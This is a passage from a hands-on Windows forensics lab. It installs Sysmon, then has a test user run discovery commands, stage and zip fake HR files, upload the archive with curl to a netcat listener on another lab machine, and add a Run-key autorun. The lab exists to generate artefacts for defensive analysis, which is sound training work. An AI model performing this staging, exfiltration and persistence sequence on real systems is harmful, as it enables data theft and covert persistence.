Practice library / Security operations basics
Lab · Medium · 1.5 hoursFree account
User Behavior Forensics
Windows execution, file-access, registry and logon artefacts, correlated into a narrative.
On this page 14 sections
- ·What you need first
- ·Lab setup
- 1Install Sysmon with a small configuration
- 2Make the user activity
- Locked: Review the logons of the user
- Locked: Find what the user ran
- Locked: Find the staged archive and the upload
- Locked: Find the autorun value
- Locked: Read the user traces in the registry
- Locked: Build the timeline
- Locked: Defence and detection
- Locked: Check
- Locked: Clean up
- Locked: Next lab
Before you start
An alert says a user did something out of character. Windows keeps part of the answer in event logs, part in the user registry hive, and part in Sysmon. The analyst must find the logon, the commands the user ran, the files the user touched and the data the user sent out, then join every source into one timeline. In this lab, you perform the actions on a lab host and read each artefact from scratch.
Lab Objectives
- Install Sysmon with a small configuration, so that the host records process, network, file and registry events
- Find the logons of one user in the Security log and flag the ones outside working hours
- Find discovery commands and their parent process in Sysmon event 1
- Link a process to its network connection with the
ProcessGuidfield - Find a staged archive and a new autorun value in Sysmon events 11 and 13
- Read user traces in the registry (
RunMRU,RecentDocs,UserAssist) and merge all sources into one timeline
An alert says "unusual user activity". The analyst must then answer four questions. When did the user sign in? What did the user run? What files did the user touch? Where did the data go? Windows keeps part of each answer in event logs, and the rest in the user registry hive. This lab teaches you to read both and to join them into one story.
You do the actions yourself on a lab machine, so you know the true answer and can check your reading of the evidence.
What you need first
Complete these items before you start:
- Digital Forensics & Incident Response. It explains evidence handling, timelines and the report.
- Windows Event Log Analysis. You must be able to run
Get-WinEventand know the Security log event IDs 4624 and 4625.
Lab setup
In this lab, the lab host is a Windows machine. The Kali machine receives the test upload. Sysmon (System Monitor) is a free Microsoft Sysinternals tool. It writes process, network, file and registry events to its own log. A timeline is one list of events from all sources, sorted by time.
| Item | Requirement |
|---|---|
| Lab host | A Windows 10, Windows 11 or Windows Server 2022 virtual machine that you own. Use a standalone machine, not a domain member. |
| Accounts | A local administrator for the review, and a local standard user labuser for the test actions. |
| Shell | Windows PowerShell 5.1 (built in). Open it as administrator for the review. |
| Sysmon | Sysmon 15 or later. Download it from the Sysinternals page on Microsoft Learn. Unzip it to C:\LabTools. |
| Kali machine | Any Kali machine on the same lab network. This lab uses the address 10.0.0.5. Use your own address. |
| Snapshot | Take a snapshot of the lab host before Step 1. |
Authorised use only. Run every command on a lab host that you own. All data in this lab is fake. On a real case you review a user's activity only with written authority from the owner of the system, from HR and from legal. Privacy law and company policy limit what you can look at and keep.
Step 1: Install Sysmon with a small configuration
Sysmon does nothing useful without a configuration. Write a short file, install Sysmon with it, and check that the service runs.
The Security log has no file hashes, no network connections and no registry changes. Sysmon records them. The configuration below logs every process start (event 1). It logs network connections of curl.exe and powershell.exe (event 3). It logs files created in a Staging or UsbSim folder (event 11). It logs changes to Run keys (event 13).
Set the time zone to UTC, so that event times and the Sysmon UtcTime field match. Then write the file and install.
tzutil /s "UTC"
New-Item -ItemType Directory C:\LabTools -Force | Out-Null
Set-Content C:\LabTools\sysmon.xml @'
<Sysmon schemaversion="4.90">
<HashAlgorithms>sha256</HashAlgorithms>
<EventFiltering>
<RuleGroup name="proc" groupRelation="or">
<ProcessCreate onmatch="exclude" />
</RuleGroup>
<RuleGroup name="net" groupRelation="or">
<NetworkConnect onmatch="include">
<Image condition="end with">curl.exe</Image>
<Image condition="end with">powershell.exe</Image>
</NetworkConnect>
</RuleGroup>
<RuleGroup name="file" groupRelation="or">
<FileCreate onmatch="include">
<TargetFilename condition="contains any">\Staging\;\UsbSim\</TargetFilename>
</FileCreate>
</RuleGroup>
<RuleGroup name="reg" groupRelation="or">
<RegistryEvent onmatch="include">
<TargetObject condition="contains">CurrentVersion\Run</TargetObject>
</RegistryEvent>
</RuleGroup>
</EventFiltering>
</Sysmon>
'@
cd C:\LabTools
.\Sysmon64.exe -accepteula -i C:\LabTools\sysmon.xml
Get-Service Sysmon64Sysmon64 installed.
SysmonDrv installed.
Starting SysmonDrv.
SysmonDrv started.
Starting Sysmon64..
Sysmon64 started.
Status Name DisplayName
------ ---- -----------
Running Sysmon64 Sysmon64Define two helpers now. Get-EventData turns the named fields of an event into an object. Every later step uses it.
function Get-EventData($e) {
$h = @{}
([xml]$e.ToXml()).Event.EventData.Data | ForEach-Object { $h[$_.Name] = $_.'#text' }
[pscustomobject]$h
}
$sysmon = 'Microsoft-Windows-Sysmon/Operational'Why this matters. You must install the sensor before the incident. Sysmon cannot show what happened before its install time.
If Sysmon reports a schema version error, your Sysmon version is older than 15. Install a newer version.
Step 2: Make the user activity
Act as the test user
Create the test user and the fake data. Then sign in as labuser and do the actions in the list. Note the start time first.
As the administrator, create the user and the fake HR files. The command net user labuser * /add asks you for a password.
net user labuser * /add
New-Item -ItemType Directory C:\LabData\HR, C:\LabData\UsbSim -Force | Out-Null
1..5 | ForEach-Object { Set-Content "C:\LabData\HR\salary_$_.txt" "FAKE DATA $_" }
icacls C:\LabData /grant "labuser:(OI)(CI)M"
$start = Get-Date
$startOn the Kali machine, start a listener. It plays the role of an outside server.
nc -lvnp 8000Sign out of the administrator account. Sign in at the console as labuser. Do the actions in this order, and do not hurry. A real user does not type commands in the same second.
- Open File Explorer. Double-click
C:\Windows\System32\notepad.exe. Close Notepad. - Press Win+R, type
calcand press Enter. Close Calculator. - Open
C:\LabData\HRin File Explorer. Double-clicksalary_1.txt. Close Notepad. - Open Windows PowerShell (not as administrator) and run the commands below.
whoami /all | Out-Null
net user
net localgroup administrators
mkdir $env:USERPROFILE\Staging | Out-Null
Copy-Item C:\LabData\HR\*.txt $env:USERPROFILE\Staging
Compress-Archive $env:USERPROFILE\Staging\* $env:USERPROFILE\Staging\data.zip
Copy-Item $env:USERPROFILE\Staging\data.zip C:\LabData\UsbSim\
curl.exe --max-time 5 -T $env:USERPROFILE\Staging\data.zip http://10.0.0.5:8000/data.zip
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d C:\Windows\System32\notepad.exe /fThe curl.exe command sends a fake archive to your Kali listener. The listener prints the start of an HTTP PUT request. Stop it with Ctrl+C. The reg add command sets an autorun value that starts Notepad at each logon. That is harmless, and you remove it in the clean-up.
Sign out of labuser. Sign in again as the administrator and open PowerShell as administrator. The variable $start is gone if you closed the window. Set it again: $start = (Get-Date).AddHours(-2). Define the helpers from Step 1 again too.
Sign in to continue
10 more sections are for signed-in members. It is free: sign in with Google.
Related
This lab is extra practice for the course Security operations basics. Do the lessons first.Open the course